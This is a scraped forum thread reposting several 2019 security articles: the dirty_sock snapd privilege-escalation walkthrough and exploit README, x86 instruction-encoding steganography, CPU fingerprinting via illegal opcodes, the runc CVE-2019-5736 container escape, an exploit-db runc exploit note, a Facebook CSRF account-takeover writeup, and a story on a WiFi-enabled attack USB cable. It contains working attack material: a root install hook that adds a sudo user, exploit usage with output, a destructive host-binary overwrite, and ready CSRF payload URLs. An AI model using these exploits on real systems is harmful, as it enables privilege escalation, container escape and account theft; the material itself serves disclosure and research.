break } What this last function does is split the string up by the “;” character and then look for anything that starts with “uid=”. As it is iterating through all of the splits, a second occurrence of “uid=” would overwrite the first. If only we could somehow inject arbitrary text into this function… Going back to the delve debugger, we can take a look at this “remoteAddr” string and see what it contains during a “nc” connection that implements a proper HTTP GET request: Request: $ nc -U /run/snapd.socket GET / HTTP/1.1 Host: 127.0.0.1 Debug output: github.com/snapcore/snapd/daemon.ucrednetGet() ... => 41: for _, token := range strings.Split(remoteAddr, ";") { ... (dlv) print remoteAddr "pid=5127;uid=1000;socket=/run/snapd.socket;@" Now, instead of an object containing individual properties for things like the uid and pid, we have a single string variable with everything concatenated together. This string contains four unique elements. The second element “uid=1000” is what is currently controlling permissions. If we imagine the function splitting this string up by “;” and iterating through, we see that there are two sections that (if containing the string “uid=”) could potentially overwrite the first “uid=”, if only we could influence them. The first (“socket=/run/snapd.socket”) is the local “network address” of the listening socket - the file path the service is defined to bind to. We do not have permissions to modify snapd to run on another socket name, so it seems unlikely that we can modify this. But what is that “@” sign at the end of the string? Where did this come from? The variable name “remoteAddr” is a good hint. Spending a bit more time in the debugger, we can see that a golang standard library (net.go) is returning both a local network address AND a remote address. You can see these output in the debugging session below as “laddr” and “raddr”. > net.(*conn).LocalAddr() /usr/lib/go-1.10/src/net/net.go:210 (PC: 0x77f65f) ... => 210: func (c *conn) LocalAddr() Addr { ... (dlv) print c.fd ... laddr: net.Addr(*net.UnixAddr) *{ Name: "/run/snapd.socket", Net: "unix",}, raddr: net.Addr(*net.UnixAddr) *{Name: "@", Net: "unix"},} The remote address is set to that mysterious “@” sign. Further reading the man unix help pages provides information on what is called the “abstract namespace”. This is used to bind sockets which are independent of the filesystem. Sockets in the abstract namespace begin with a null-byte character, which is often displayed as “@” in terminal output. Instead of relying on the abstract socket namespace leveraged by netcat, we can create our own socket bound to a file name that we control. This should allow us to affect the final portion of that string variable that we want to modify, which will land in the “raddr” variable shown above. Using some simple python code, we can create a file name that has the string “;uid=0;” somewhere inside it, bind to that file as a socket, and use it to initiate a connection back to the snapd API. Here is a snippet of the exploit POC: ## Setting a socket name with the payload included sockfile = "/tmp/sock;uid=0;" ## Bind the socket client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) client_sock.bind(sockfile) ## Connect to the snap daemon client_sock.connect('/run/snapd.socket') Now watch what happens in the debugger when we look at the remoteAddr variable again: > github.com/snapcore/snapd/daemon.ucrednetGet() ... => 41: for _, token := range strings.Split(remoteAddr, ";") { ... (dlv) print remoteAddr "pid=5275;uid=1000;socket=/run/snapd.socket;/tmp/sock;uid=0;" There we go - we have injected a false uid of 0, the root user, which will be at the last iteration and overwrite the actual uid. This will give us access to the protected functions of the API. We can verify this by continuing to the end of that function in the debugger, and see that uid is set to 0. This is shown in the delve output below: > github.com/snapcore/snapd/daemon.ucrednetGet() ... => 65: return pid, uid, socket, err ... (dlv) print uid 0 Weaponizing Version One dirty_sockv1 leverages the ‘POST /v2/create-user’ API function. To use this exploit, simply create an account on the Ubuntu SSO and upload an SSH public key to your profile. Then, run the exploit like this (using the email address you registered and the associated SSH private key): $ dirty_sockv1.py -u you@email.com -k id_rsa This is fairly reliable and seems safe to execute. You can probably stop reading here and go get root. Still reading? Well, the requirement for an Internet connection and an SSH service bothered me, and I wanted to see if I could exploit in more restricted environments. This leads us to… Version Two dirty_sockv2 instead uses the ‘POST /v2/snaps’ API to sideload a snap containing a bash script that will add a local user. This works on systems that do not have the SSH service running. It also works on newer Ubuntu versions with no Internet connection at all. HOWEVER, sideloading does require some core snap pieces to be there. If they are not there, this exploit may trigger an update of the snapd service. My testing shows that this will still work, but it will only work ONCE in this scenario. Snaps themselves run in sandboxes and require digital signatures matching public keys that machines already trust. However, it is possible to lower these restrictions by indicating that a snap is in development (called “devmode”). This will give the snap access to the host Operating System just as any other application would have. Additionally, snaps have something called “hooks”. One such hook, the “install hook” is run at the time of snap installation and can be a simple shell script. If the snap is configured in “devmode”, then this hook will be run in the context of root. I created a snap from scratch that is essentially empty and has no functionality. What it does have, however, is a bash script that is executed at install time. That bash script runs the following commands: useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash usermod -aG sudo dirty_sock echo "dirty_sock ALL=(ALL:ALL) ALL" >> /etc/sudoers That encrypted string is simply the text dirty_sock created with Python’s crypt.crypt() function. The commands below show the process of creating this snap in detail. This is all done from a development machine, not the target. One the snap is created, it is converted to base64 text to be included in the full python exploit. ## Install necessary tools sudo apt install snapcraft -y ## Make an empty directory to work with cd /tmp mkdir dirty_snap cd dirty_snap ## Initialize the directory as a snap project snapcraft init ## Set up the install hook mkdir snap/hooks touch snap/hooks/install chmod a+x snap/hooks/install ## Write the script we want to execute as root cat > snap/hooks/install << "EOF" #!/bin/bash useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash usermod -aG sudo dirty_sock echo "dirty_sock ALL=(ALL:ALL) ALL" >> /etc/sudoers EOF ## Configure the snap yaml file cat > snap/snapcraft.yaml << "EOF" name: dirty-sock version: '0.1' summary: Empty snap, used for exploit description: | See https://github.com/initstring/dirty_sock grade: devel confinement: devmode parts: my-part: plugin: nil EOF ## Build the snap snapcraft If you don’t trust the blob I’ve put into the exploit, you can manually create your own with the method above. Once we have the snap file, we can use bash to convert it to base64 as follows: $ base64 <snap-filename.snap> That base64-encoded text can go into the global variable “TROJAN_SNAP” at the beginning of the dirty_sock.py exploit. The exploit itself is writen in python and does the following: Creates a random file with the string ‘;uid=0;’ in the name Binds a socket to this file Connects to the snapd API Deletes the trojan snap (if it was left over from a previous aborted run) Installs the trojan snap (at which point the install hook will run) Deletes the trojan snap Deletes the temporary socket file Congratulates you on your success Protection / Remediation Patch your system! The snapd team fixed this right away after my disclosure. Special Thanks So many StackOverflow posts I lost track… The great resources put together by the snap team Author Chris Moberly (@init_string) from The Missing Link. Thanks for reading!!! Sursa: https://shenaniganslabs.io/2019/02/13/Dirty-Sock.html
-
Hiding Data in Redundant Instruction Encodings Feb 12, 2019 • julian As we’ve seen in the previous post, x86 instructions are encoded as variable-length byte strings. In this post, we will explore how to covertly hide information in x86 instructions. For that, let’s dive a bit into how x86 instructions are encoded. Let’s look at two encodings for the same xor instruction: ; 35 01 00 00 00 xor eax, 1 ; 81 f0 01 00 00 00 xor eax, 1 The above instructions do exactly the same. They take the eax register, xor its value with 1, and store the result back in eax, yet they are encoded differently. For historical reasons, x86 has shorter encodings for some arithmetic instructions when they operate on the al/ax/eax/rax “accumulator” registers as opposed to any other general-purpose register. This is the first example. It has a 35 opcode for xor eax and afterwards follows a 4-byte immediate value (1) in little-endian order. The second example uses the more generic 81 opcode byte, which has no hard-coded first operand and instead needs a ModR/M byte. A ModR/M byte can specify any register or memory operand. F0 happens to specify the register eax. Semantically, both instructions are identical, yet they are encoded differently. A decent assembler will never generate the second option, because it wastes one byte of space. However, a disassembler generates the exact same textual representation for these two instructions. Only by looking at the actual instruction bytes can anyone see the difference. It seems we have found our sneaky way of hiding data. We can embed one bit of information into every xor eax, ... instruction by either using the short or the long encoding of the instruction. Let’s put this knowledge into practice. I’ve crafted a small program that contains lots of xor instructions operating on the eax register. I also have a Python script that takes an assembly file and embeds a message bit-by-bit by switching between the different encodings of xor. The code for this example can be found on Github. If you clone this repo, you can embed a secret message into the binary like this: % make main-secret # Compile main.cpp to an assembly file g++ -Os -std=c++14 -S -c main.cpp -o main.s # Replace xor instructions ./embed.py "$(cat secret.txt)" < main.s > main.se # Assemble the result into an object file as main.se -o main-secret.o # Finally, link everything into a normal executable. g++ -Os -std=c++14 -o main-secret main-secret.o We now have a binary main-secret that has the secret message engraved into its xor instruction encodings. Regardless of the message, the binary contains the same data and the same instructions, just not with the same encodings. It behaves identically to a version of the program compiled normally. A casual look at it with a reverse engineering tool reveals nothing out of the ordinary. With objdump we can check what happened: % objdump -dM intel main-secret | grep "xor.* eax,0" | head -n8 40148b: 35 01 00 00 00 xor eax,0x1 401493: 81 f0 02 00 00 00 xor eax,0x2 40149c: 35 03 00 00 00 xor eax,0x3 4014a4: 35 04 00 00 00 xor eax,0x4 4014ac: 35 05 00 00 00 xor eax,0x5 4014b4: 35 06 00 00 00 xor eax,0x6 4014bc: 81 f0 07 00 00 00 xor eax,0x7 4014c5: 35 08 00 00 00 xor eax,0x8 The script embeds the least significant bit first. So interpreting short encodings as 0 and long encodings as 1, we get 01000010 in binary, which is 66 in decimal and ‘B’ in UTF-8. The decode script automates this process and reveals the full message that was apparently sent by Gandalf: % ./decode.py main-secret Bring the ? to the ?, Frodo! He could now smuggle this message as a Debian package into the Shire. This is only a toy example, but the same principle can be used to hide more data in redundant instruction encodings for other x86 instructions. Even more data can be hidden by exploiting the x86 processor’s laissez-faire approach to parsing instruction prefixes or multiple ways of encoding SIMD instructions, but this is left as an exercise for the reader. Maybe now is a good time to head over to https://reproducible-builds.org/ Sursa: http://x86.lol/2019/02/12/steganography.html
-
- 1
-
-
Fingerprinting x86 CPUs using Illegal Opcodes Feb 8, 2019 • julian x86 CPUs usually identify themselves and their features using the cpuid instruction. But even without looking at their self-reported identities or timing behavior, it is possible to tell CPU microarchitectures apart. Take for example the ud0 instruction. This instruction is used to generate an Invalid Opcode Exception (#UD). It is encoded with the two bytes 0F FF. If we place this instruction at the end of an executable page in memory and the following page is not executable, we see differences across x86 microarchitectures. On my Goldmont Plus-based Intel NUC, executing this instruction will indeed cause an #UD exception. On Linux, this exception is delivered as SIGILL. If I retry the same setup on my Skylake desktop, the result is a SIGSEGV instead. This signal is caused by a page fault during instruction fetch. This means that the CPU did not manage to decode this instruction with just the two bytes and tried to fetch more bytes. My somewhat older Broadwell-based laptop has the same behavior. Using baresifter, we can reverse engineer (more on that in a future blog post) that Skylake and Broadwell actually try to decode ud0 as if it had source and destination operands. After the the two opcode bytes, they expect a ModR/M byte and as many additional immediate or displacement bytes as the ModR/M byte indicate. I have put the code for this example on Github. Why would this matter? Afterall, this behavior is now even documented in the Intel Software Developer’s Manual: Some older processors decode the UD0 instruction without a ModR/M byte. As a result, those processors would deliver an invalid-opcode exception instead of a fault on instruction fetch when the instruction with a ModR/M byte (and any implied bytes) would cross a page or segment boundary. I have picked an easy example for this post. Beyond this documented difference, there are many other undocumented differences in instruction fetch behavior for other illegal opcodes that makes it fairly easy to figure out what microarchitecture we are dealing with. This still applies when a hypervisor intercepts cpuid and changes the (virtual) CPU’s self-reported identity. It is also possible to fingerprint different x86 instruction decoding libraries using this approach and narrow down which hypervisor software stack is used. One usecase I can think of is to build malware that is tailored to recognize its target using instruction fetch fingerprinting. Let’s say the malware’s target is an embedded system with an ancient x86 CPU. If it is actively fingerprinting the CPU, it can avoid deploying its payload in an automated malware anlysis system and be discovered, unless the malware analysis is performed on the exact same type of system targeted by the malware. Sursa: https://x86.lol/generic/2019/02/08/fingerprint.html
-
Wednesday, February 13, 2019 CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host Introduction The inspiration to the following research was a CTF task called namespaces by _tsuro from the 35C3 CTF. While solving this challenge we found out that creating namespace-based sandboxes which can then be joined by external processes is a pretty challenging task from a security standpoint. On our way back home from the CTF we found out that Docker, with its “docker exec” functionality (which is actually implemented by runc from opencontainers) follows a similar model and decided to challenge this implementation. Goal and results Our goal was to compromise the host environment from inside a Docker container running in the default or hardened configuration (e.g. limited capabilities and syscall availability). We considered the two following attack vectors: a malicious Docker image, a malicious process inside a container (e.g. a compromised Dockerized service running as root). Results: we have achieved full code execution on the host, with all capabilities (i.e. on the administrative ‘root’ access level), triggered by either: running “docker exec” from the host, on a compromised Docker container, starting a malicious Docker image. This vulnerability was assigned CVE-2019-5736 and was officially announced here. Default Docker security settings Despite Docker not being marketed as sandboxing software, its default setup is meant to secure host resources from being accessed by processes inside of a container. Although the initial process inside a Docker container is running as root, it has very limited privileges, which is achieved using several mechanisms (this paper describes it thoroughly): Linux capabilities http://man7.org/linux/man-pages/man7/capabilities.7.html Docker containers have a very limited set of capabilities by default, which makes a container root user de facto an unprivileged user. seccomp http://man7.org/linux/man-pages/man2/seccomp.2.html This mechanism blocks container’s processes from executing a subset of syscalls or filters their arguments (thus limiting its impact on the host environment.) namespaces http://man7.org/linux/man-pages/man7/namespaces.7.html This mechanism allows to limit containerized processes’ access to the host filesystem, as well as it limits the visibility of processes across the host/container boundary. cgroups http://man7.org/linux/man-pages/man7/cgroups.7.html The control groups (cgroups) mechanism allows to limit and manage various types of resources (RAM, CPU, ...) of a group of processes. It’s possible to disable all of these mechanisms (for example by using the --privileged command-line option) or to specify any set of syscalls/capabilities/shared namespaces explicitly. Disabling those hardening mechanisms makes it possible to easily escape the container. Instead, we will be looking at Docker containers running the default security configuration. Failed approaches Before we ended up finding the final vulnerability we had tried many other ideas, most of which were mitigated by limited capabilities or by seccomp filters. As the whole research was a follow-up to a 35C3 CTF task, we started by investigating what happens when a new process gets started in an existing namespace (a.k.a. “docker exec”). The goal here was to check if we can access some host resources by obtaining them from the newly joined process. Specifically, we looked for ways to access that process from inside the container before it joins all used namespaces. Imagine the following scenario, where a process: joins the user and PID namespaces, forks (to actually join the PID namespace), joins the rest of the namespaces (mount, net etc.). If we could ptrace that process as soon as it visible to us (i.e. right as it joined the PID namespace), we could prevent it from joining the rest of the namespaces, which would in turn enable e.g. host filesystem access. Not having the required capabilities to ptrace could be bypassed by performing an unshare of the user namespace by the container init process (this yields the full set of capabilities in the new user namespace). Then “docker exec” would join our new namespace (obtained via “/proc/pid/ns/”) inside of which we can ptrace (but seccomp limitations would still apply). It turns out that runc joins all of the required namespaces and only forks after having done so, which prevents this attack vector. Additionally, the default Docker configuration also disables all namespace related syscalls within the container (setns, unshare etc.). Next we focused solely on the proc filesystem (more info: proc(5)) as it’s quite special and can often cross namespace boundaries. The most interesting entries are: /proc/pid/mem - This doesn’t give us much by itself, as the target process needs to already be in the same PID namespace as malicious one. The same applies to ptrace(2). /proc/pid/cwd, /proc/pid/root - Before a process fully joins a container (after it joins namespaces but before it updates its root (chroot) and cwd (chdir)) these point to the host filesystem, which could possibly allow us to access it - but since the runc process is not dumpable (read more: http://man7.org/linux/man-pages/man2/ptrace.2.html), we cannot use those. /proc/pid/exe - Not of any use just by itself (same reason as cwd and root), but we have found a way around that and used it in the final exploit (described below). /proc/pid/fd/ - Some file descriptors may be leaked from ancestor namespaces (especially the mount namespace) or we could disturb parent - child (actually grandchild) communication in runc - we have found nothing of particular interest here as synchronisation was done with local sockets (can’t reuse those). /proc/pid/map_files/ - A very interesting vector - before runc executes the target binary (but after the process is visible to us, i.e. it joined the PID namespace) all the entries refer to binaries from the host filesystem (since that is there where the process was originally spawned). Unfortunately, we discovered that we cannot follow these links without the SYS_ADMIN capability (source) - even from within the same process. Side note: When executing the following command: /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /bin/ls -al /proc/self/exe “/proc/self/exe” points to “ld-linux-x86-64.so.2” (not “/bin/ls”, as one might think) The attack idea was to force “docker exec” to use dynamic loader from host to execute binary inside container (by replacing original target to exec (e.g. “/bin/bash”) with a text file with the first line: #!/proc/self/map_files/address-in-memory-of-ld.so) /evil_binary Then /evil_binary could overwrite /proc/self/exe and thus overwrite the host ld.so. This approach was unsuccessful due to the aforementioned SYS_ADMIN capability requirement. Side note 2: While experimenting with the above we found a deadlock in the kernel: when a regular process tries to execve “/proc/self/map_files/any-existing-entry”, it will deadlock (and then opening “/proc/that-process-pid/maps” from any other process will also hang - probably some lock taken). Successful approach The final successful attempts involved an approach very similar to the aforementioned idea with /proc/self/map_files - we execute /proc/self/exe, which is the host's docker-runc binary, while still being able to inject some code (we did that by changing some shared library, like libc.so, to also execute our code e.g. inside libc_start_main or global constructor). This gives us ability to overwrite /proc/self/exe binary which is the docker-runc binary from the host, which in turn gives us full capabilities root access on host next time docker-runc is executed. Detailed attack description: Craft a rogue image or compromise a running container: Make the entrypoint binary (or any binary that is likely to be runtime overridden by the user as the entrypoint, or as part of docker exec) be a symlink to /proc/self/exe Replace any dynamic library used by docker-runc with a custom .so that has an additional global constructor. This function opens /proc/self/exe (which points to the host docker-run) for reading (it is impossible to open it for writing, since the binary is being executed right now, see ETXTBSY in open(2)). Then this function executes another binary which opens, this time for write, /proc/self/fd/3 (a file descriptor of docker-runc opened before execve), which succeeds because docker-runc is no longer being executed. The code can then overwrite the host docker-runc with anything - we have chosen a fake docker-runc with an additional global constructor that runs arbitrary code. Thus, when a host user runs the compromised image or “docker exec” on a compromised container : The entrypoint/exec binary that has been symlinked to /proc/self/exe (which in turn points to docker-runc on the host filesystem) begins executing within the container (this will also cause process to be dumpable, as execve sets the dumpable flag). To be clear: this causes the original docker-runc process to re-execute into a new docker-runc running within the container (but using the host binary). When docker-runc begins executing for the second time, it will load .so files from the container, not the host (because this is the visible filesystem now). As a reminder: we control the content of these dynamic libraries. The malicious global constructor function will be executed. It will open /proc/self/exe for reading (let’s say it will have file descriptor 3) and execve()s some attacker controlled binary (let’s say /evil). /evil will overwrite docker-runc on the host filesystem (by reopening fd 3, this time with write access) with a backdoored/malicious docker-runc (e.g. with an additional global constructor). Now when any container is started or another exec is done, the attacker’s fake docker-runc will be executed as root with full capabilities on host filesystem (this binary is responsible for dropping privileges and entering namespaces, so initially it has full permissions). Note that this attack only abuses runc (opencontainers) behavior, so it should work for kubernetes as well, regardless of whether it uses docker or cri-o (both may use runc internally). This attack has serious impact on AWS and GCP cloud services. More information about it can be found at linked security bulletins. Responsible disclosure We have reported the vulnerability to security@docker.com the same day we discovered it, including a detailed attack description and a proof of concept exploit. The next day the Docker security team forwarded our email to security@opencontainers.org. We also actively participated in discussions regarding fixing the vulnerability. Communicating with the Docker and OpenContainers security teams was frictionless and pleasant.. Rejected fix ideas in runc Open the destination binary and compare inode info from fstat(2) with /proc/self/exe and exit if they match, otherwise execveat on destination binary fd. This would detect if destination binary is a symlink to /proc/self/exe. Why execveat? Because we want to avoid the race condition where between comparison at exec some other process will replace destination binary with link to /proc/self/exe. Why wouldn’t this work? This can be bypassed when attacker will not use symlink, but a binary with dynamic loader pointing to “/proc/self/exe”: e.g. text file which has “#!/proc/self/exe” as first line or just an elf file. Use a static binary to launch processes within the container The idea of this is to avoid code execution possibility via malicious .so files inside the container (a static binary means no .so files are loaded). Why wouldn’t this work? Replacing .so files was not actually needed for this exploit. After the re-exec of /proc/self/exe (docker-runc), another process can just open /proc/<pid-of-docker-runc>/exe, which is possible because ”dumpable” flag is set on execve. This is a little bit harder to exploit because it requires to race the timing between the re-exec completing and runc process exiting (due to no parameters given). In practice, the race window is so large that we were able to develop a 100% successful exploit for such a scenario. However this would eliminate one of the attack vectors: running a rogue image. Final fix applied in runc In the end, the following fix was applied to mitigate the vulnerability: : Create a memfd (a special file which exists only in memory). Copy the original runc binary to this fd. Before entering namespaces re-exec runc from this fd. This fix guarantees that if the attacker overwrites the binary pointed to by /proc/self/exe then it will not cause any damage to the host because it’s a copy of the host binary, stored entirely in memory (tmpfs). Mitigations There are several mitigation possibilities when using an unpatched runc: Use Docker containers with SELinux enabled (--selinux-enabled). This prevents processes inside the container from overwriting the host docker-runc binary. Use read-only file system on the host, at least for storing the docker-runc binary. Use a low privileged user inside the container or a new user namespace with uid 0 mapped to that user (then that user should not have write access to runc binary on the host). Timeline 1 January 2019 - Vulnerability discovered and PoC created 1 January - Vulnerability reported to security@docker.com 2 January - Report forwarded by docker security team to security@opencontainers.org 3 - 5 January - Discussion about fix ideas 11 February - end of CVE-2019-5736 embargo 13 February - this post publication Authors: Adam Iwaniuk, Borys Popławski Posted by Adam Iwaniuk at 00:42 Sursa: https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html
-
# Usage Edit HOST inside `payload.c`, compile with `make`. Start `nc` and run `pwn.sh` inside the container. # Notes - This exploit is destructive: it'll overwrite `/usr/bin/docker-runc` binary *on the host* with the payload. It'll also overwrite `/bin/sh` inside the container. - Tested only on Debian 9. - No attempts were made to make it stable or reliable, it's only tested to work when a `docker exec <id> /bin/sh` is issued on the host. More complete explanation [here](https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d). Download: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46359.zip Sursa: https://www.exploit-db.com/exploits/46359
-
# dirty_sock: Privilege Escalation in Ubuntu (via snapd) In January 2019, current versions of Ubuntu Linux were found to be vulnerable to local privilege escalation due to a bug in the snapd API. This repository contains the original exploit POC, which is being made available for research and education. For a detailed walkthrough of the vulnerability and the exploit, please refer to the <a href="https://initblog.com/2019/dirty-sock/" target="_blank"> blog posting here</a>. You can easily check if your system is vulnerable. Run the command below. If your `snapd` is 2.37.1 or newer, you are safe. ``` $ snap version ... snapd 2.37.1 ... ``` # Usage ## Version One (use in most cases) This exploit bypasses access control checks to use a restricted API function (POST /v2/create-user) of the local snapd service. This queries the Ubuntu SSO for a username and public SSH key of a provided email address, and then creates a local user based on these value. Successful exploitation for this version requires an outbound Internet connection and an SSH service accessible via localhost. To exploit, first create an account at the <a href="https://login.ubuntu.com/" target="_blank">Ubuntu SSO</a>. After confirming it, edit your profile and upload an SSH public key. Then, run the exploit like this (with the SSH private key corresponding to public key you uploaded): ``` python3 ./dirty_sockv1.py -u "you@yourmail.com" -k "id_rsa" [+] Slipped dirty sock on random socket file: /tmp/ktgolhtvdk;uid=0; [+] Binding to socket file... [+] Connecting to snapd API... [+] Sending payload... [+] Success! Enjoy your new account with sudo rights! [Script will automatically ssh to localhost with the SSH key here] ``` ## Version Two (use in special cases) This exploit bypasses access control checks to use a restricted API function (POST /v2/snaps) of the local snapd service. This allows the installation of arbitrary snaps. Snaps in "devmode" bypass the sandbox and may include an "install hook" that is run in the context of root at install time. dirty_sockv2 leverages the vulnerability to install an empty "devmode" snap including a hook that adds a new user to the local system. This user will have permissions to execute sudo commands. As opposed to version one, this does not require the SSH service to be running. It will also work on newer versions of Ubuntu with no Internet connection at all, making it resilient to changes and effective in restricted environments. This exploit should also be effective on non-Ubuntu systems that have installed snapd but that do not support the "create-user" API due to incompatible Linux shell syntax. Some older Ubuntu systems (like 16.04) may not have the snapd components installed that are required for sideloading. If this is the case, this version of the exploit may trigger it to install those dependencies. During that installation, snapd may upgrade itself to a non-vulnerable version. Testing shows that the exploit is still successful in this scenario. See the troubleshooting section for more details. To exploit, simply run the script with no arguments on a vulnerable system. ``` python3 ./dirty_sockv2.py [+] Slipped dirty sock on random socket file: /tmp/gytwczalgx;uid=0; [+] Binding to socket file... [+] Connecting to snapd API... [+] Deleting trojan snap (and sleeping 5 seconds)... [+] Installing the trojan snap (and sleeping 8 seconds)... [+] Deleting trojan snap (and sleeping 5 seconds)... ******************** Success! You can now `su` to the following account and use sudo: username: dirty_sock password: dirty_sock ******************** ``` # Troubleshooting If using version two, and the exploit completes but you don't see your new account, this may be due to some background snap updates. You can view these by executing `snap changes` and then `snap change #`, referencing the line showing the install of the dirty_sock snap. Eventually, these should complete and your account should be usable. Version 1 seems to be the easiest and fastest, if your environment supports it (SSH service running and accessible from localhost). Please open issues for anything weird. # Disclosure Info The issue was reported directly to the snapd team via Ubuntu's bug tracker. You can read the full thread <a href="https://bugs.launchpad.net/snapd/+bug/1813365" target="_blank">here</a>. I was very impressed with Canonical's response to this issue. The team was awesome to work with, and overall the experience makes me feel very good about being an Ubuntu user myself. Public advisory links: - https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SnapSocketParsing - https://usn.ubuntu.com/3887-1/ Proof of Concept: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46360.zip Sursa: https://www.exploit-db.com/exploits/46360
-
Posted on February 12, 2019 by qw Facebook CSRF protection bypass which leads to Account Takeover. This bug could have allowed malicious users to send requests with CSRF tokens to arbitrary endpoints on Facebook which could lead to takeover of victims accounts. In order for this attack to be effective, an attacker would have to trick the target into clicking on a link. Demonstration This is possible because of a vulnerable endpoint which takes another given Facebook endpoint selected by the attacker along with the parameters and make a POST request to that endpoint after adding the fb_dtsg parameter. Also this endpoint is located under the main domain www.facebook.com which makes it easier for the attacker to trick his victims to visit the URL. The vulnerable endpoint is: https://www.facebook.com/comet/dialog_DONOTUSE/?url=XXXX where XXXX is the endpoint with parameters where the POST request is going to be made (the CSRF token fb_dtsg is added automatically to the request body). This allowed me to make many actions if the victim visits this URLs. Some of these are: Make a post on timeline: https://www.facebook.com/comet/dialog_DONOTUSE/?url= /api/graphql/%3fdoc_id=1740513229408093%26variables={"input":{"actor_id":{TARGET_ID},"client_mutation_id":"1","source":"WWW","audience":{"web_privacyx":"REDECATED"},"message":{"text":"TEXT","ranges":[]}}} Delete Profile Picture: https://www.facebook.com/comet/dialog_DONOTUSE/? url=/profile/picture/remove_picture/%3fdelete_from_album=1%26profile_id={TARGET_ID} Trick user to delete their account (After changing language with “locale” parameter) https://www.facebook.com/comet/dialog_DONOTUSE/? url=/help/delete_account/dialog/%3f__asyncDialog=0%26locale=fr_FR This will promote a password confirmation dialog, if the victim enters his password then his account will be deleted. Account Takeover Approach To takeover the account, we have to add a new email address or phone number to the victim account. The problem here is that the victim has to visit two separate URLs , one to add the email/phone and one to confirm it because the “normal” endpoints used to add emails or phone numbers don’t have a “next” parameter to redirect the user after a successful request. So to bypass this, i needed to find endpoints where the “next” parameter is present so the account takeover could be made with a single URL. 1) We authorize the attacker app as the user then we redirect to https://www.facebook.com/v3.2/dialog/oauthwhich will automatically redirect to the attacker website with access_token having the scopes allowed to that app (this happens without user interaction because the app is already authorized using the endpoint /ajax/appcenter/redirect_to_app). This URL should be sent to the user: https://www.facebook.com/comet/dialog_DONOTUSE/?url= /ajax/appcenter/redirect_to_app%3fapp_id={ATTACKER_APP}%26ref=appcenter_top_grossing%26redirect_uri=https%3a//www.facebook.com/v3.2/dialog/oauth%3fresponse_type%3dtoken%26client_id%3d{ATTACKER_APP}%26redirect_uri%3d{DOUBLE_URL_ENCODED_LINK}%26scope%3d&preview=0&fbs=125&sentence_id&gift_game=0&scopes[0]=email&gdpv4_source=dialog This step is needed for multiple things: First to use the endpoint /v3.2/dialog/oauth to bypass Facebook redirect protection in the “next” parameter which blocks redirecting attempts to external websites even if they are made using linkshim. Second to identify each victim using the token received which will help later to extract the confirmation code for that specific user. 2)The attacker website receives the access token of the user , creates an email for him under that domain and redirect the user to : https://www.facebook.com/comet/dialog_DONOTUSE/? url=/add_contactpoint/dialog/submit/%3fcontactpoint={EMAIL_CHOSEN}%26next= /v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK] This URL does the follow: First it links an email to the user account using the endpoint /add_contactpoint/dialog/submit/ (no password confirmation is required). After the linking, it redirects to the selected endpoint in “next” paramter: "/v3.2/dialog/oauth?response_type=token&client_id={ATTACKER_APP}&redirect_uri={ATTACKER_DOMAIN}" which will redirect to the “ATTACKER_DOMAIN” again with the user access_token. 3) The attacker website receives the “access_token”, extract the user ID then search for the email received for that user and gets the confirmation link then redirects again to : https://www.facebook.com/confirmcontact.php?c={CODE}&z=0&gfid={HASH} (CODE and HASH are in the email received from Facebook) This method is simpler for the attacker but after the linking the endpoint redirects the victim to https://www.facebook.com/settings?section=email which expose the newly added email so the confirmation could be done using the /confirm_code/dialog/submit/ endpoint which have a “next” parameter that could redirect the victim to the home page after the confirmation is made. 4) The email is now added to the victim account, the attacker could reset the password and takeover the account. The attack seems long but it’s done in a blink of an eye and it’s dangerous because it doesn’t target a specific user but anyone who visits the link in step 1 (This is done with simple scripts hosted in the attacker website) Timeline Jan 26, 2018 — Report Sent Jan 26, 2018 — Acknowledged by Facebook Jan 28, 2018 — More details sent Jan 31, 2018 — Fixed by Facebook Feb 12, 2018 — $25,000 Bounty Awarded by Facebook Sursa: https://ysamm.com/?p=185
-
New Offensive USB Cable Allows Remote Attacks over WiFi By Lawrence Abrams February 11, 2019 12:27 PM Like a scene from a James Bond or Mission Impossible movie, a new offensive USB cable plugged into a computer could allow attackers to execute commands over WiFi as if they were using the computer's keyboard. When plugged into a Linux, Mac, or Windows computer, this cable is detected by the operating system as a HID or human interface device. As HID devices are considered input devices by an operating system, they can be used to input commands as if they are being typed on a keyboard. Created by security researcher Mike Grover, who goes by the alias _MG_, the cable includes an integrated WiFi PCB that was created by the researcher. This WiFi chip allows an attacker to connect to the cable remotely to execute command on the computer or manipulate the mouse cursor. PCB with Embedded WiFi Chip In a video demonstration by Grover, you can see how the researcher simply plugs a cable into the a PC and is able to connect to it remotely to issue commands through an app on his mobile phone. In an interview with BleepingComputer, Grover explained that when plugged in, the cable is seen as a keyboard and a mouse. This means an attacker can input commands regardless of whether the device is locked or not. Even scarier, if the computer normally locks a session using an inactivity timer, the cable can be configured to simulate user interaction to prevent this. "It “works” just like any keyboard and mouse would at a lock screen, which means you can type and move the mouse," Grover told BleepingComputer. "Therefore, if you get access to the password you can unlock the device. Also, if the target relies on an inactivity timer to auto lock the machine, then it’s easy to use this cable to keep the lock from initiating by simulating user activity that the user would not notice otherwise (tiny mouse movements, etc)." Grover further told BleepingComputer that these WiFi chips can be preconfigured to connect to a WiFi network and potentially open reverse shells to a remote computer. This could allow attackers in remote locations to execute commands to grant further visibility to the computer when not in the vicinity of the cable. The app that issues commands to the O·MG cable is being developed collaboratively according to blog post by Grover. The developers hope to port the ESPloitV2 tool for use in the cable. WiFi deuthentication attacks may also be possible While the HID attack can be prevented using a USB condom, which prevents 